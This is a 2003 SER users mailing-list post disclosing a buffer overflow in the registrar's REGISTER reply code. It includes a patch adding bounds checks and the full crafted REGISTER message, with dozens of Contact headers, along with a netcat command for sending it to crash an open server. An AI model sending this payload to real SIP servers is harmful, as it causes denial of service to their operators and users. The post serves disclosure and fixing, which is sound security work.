[Serusers] [HEADS UP] security vulnerability in ser 0.8.10

Maxim Sobolev sobomax at portaone.com
Sat Jan 18 02:41:33 CET 2003


Folks,

While playing with SER I found that I can trigger repeatable crash when
doing REGISTER multiple times. Quick glance at the code in question
revealed that indeed, when constructing reply to REGISTER message,
SER uses fixed-lengh buffer to put all non-expired contacts for that
user and doesn't bother to check for overflow. The bug could be easily
exploited by a complete stranger on servers that don't perform
authentification of REGISTER requests, and by an user with a valid
credintals on server that do authentification. Mounting attack leads
to denial of service.

Attached please find fake REGISTER message, which if sent to open
server kills it (nc -u my.sip.server 5060 < register.killser),
and patch to fix the problem.

-Maxim
-------------- next part --------------

$FreeBSD$

--- modules/registrar/reply.c	2003/01/18 00:39:05	1.1
+++ modules/registrar/reply.c	2003/01/18 01:13:13
@@ -53,32 +53,57 @@
  */
 void build_contact(ucontact_t* _c)
 {
+	char *lastgoodend;
+	int nummissed;
+
 	l = 0;
+	lastgoodend = b;
 	while(_c) {
 		if (_c->expires > act_time) {
+			if (l + 10 >= MAX_CONTACT_BUFFER)
+				break;
 			memcpy(b + l, "Contact: <", 10);
 			l += 10;
 			
+			if (l + _c->c.len >= MAX_CONTACT_BUFFER)
+				break;
 			memcpy(b + l, _c->c.s, _c->c.len);
 			l += _c->c.len;
 			
+			if (l + 4 >= MAX_CONTACT_BUFFER)
+				break;
 			memcpy(b + l, ">;q=", 4);
 			l += 4;
 			
-			l += sprintf(b + l, "%-3.2f", _c->q);
+			l += snprintf(b + l, MAX_CONTACT_BUFFER - l, "%-3.2f", _c->q);
+			if (l >= MAX_CONTACT_BUFFER)
+				break;
 			
+			if (l + 9 >= MAX_CONTACT_BUFFER)
+				break;
 			memcpy(b + l, ";expires=", 9);
 			l += 9;
 			
-			l += sprintf(b + l, "%d", (int)(_c->expires - act_time));
-			
+			l += snprintf(b + l, MAX_CONTACT_BUFFER - l, "%d", (int)(_c->expires - act_time));
+			if (l >= MAX_CONTACT_BUFFER)
+				break;
+
+			if (l + 2 >= MAX_CONTACT_BUFFER)
+				break;
 			*(b + l++) = '\r';
 			*(b + l++) = '\n';
+			lastgoodend = b + l;
 		}
 
 		_c = _c->next;
 	}
-	
+	if (lastgoodend - b != l) {
+		l = lastgoodend - b;
+		for(nummissed = 0; _c; _c = _c->next)
+			nummissed++;
+		LOG(L_ERR, "build_contact(): Contact list buffer exhaused, %d contact(s) ignored\n", nummissed);
+	}
+
 	DBG("build_contact(): Created Contact HF: %.*s\n", l, b);
 }
 
-------------- next part --------------
REGISTER sip:127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 127.0.0.2:123;branch=z9hG4bKnashds7
Max-Forwards: 70
To: Bob <sip:bob at biloxi.com>
From: Bob <sip:bob at biloxi.com>;tag=456248
Call-ID: 843817637684230 at 998sdasdh09
CSeq: 1826 REGISTER
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Contact: <sip:bob at 192.0.2.4>
Expires: 7200
Content-Length: 0
User-Agent: Cisco ATA  v2.15 ata186 (020918a)


More information about the sr-users mailing list